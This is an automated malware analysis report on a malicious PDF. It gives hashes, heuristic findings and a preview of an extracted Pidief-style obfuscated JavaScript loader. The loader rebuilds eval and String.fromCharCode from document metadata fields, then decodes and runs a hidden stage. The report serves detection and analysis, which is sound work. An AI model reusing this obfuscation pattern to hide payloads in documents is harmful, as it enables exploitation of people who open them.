Malicious PDF — malware analysis report

Static analysis result for SHA-256 37f3f50ff2a1598d…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2012-10-18
MD5: 8e88cb7f5c1b92643a829bbdaf75d54f SHA-1: 79f408173201d4f5ef7040a0824467a713b28890 SHA-256: 37f3f50ff2a1598d178a0c83ccc3c63ed5a086c966d5dcc645f9130b10497834
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF82 444 bytes
SHA-256: 99077d12c45e0a19b5922ea39560c851716e13c737f052e30f41dfc9244c156c
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
igf=e('ti'.concat(v[4],t));
q=igf[v](a.length-6,a.length+2);
dtons=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=igf[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	aiox = 1*(q[i]);
	i++;
	aiox -= (-1)*(q[i]);
	s2 = s2.concat(dtons(aiox));
	i++;
}
e(s2);

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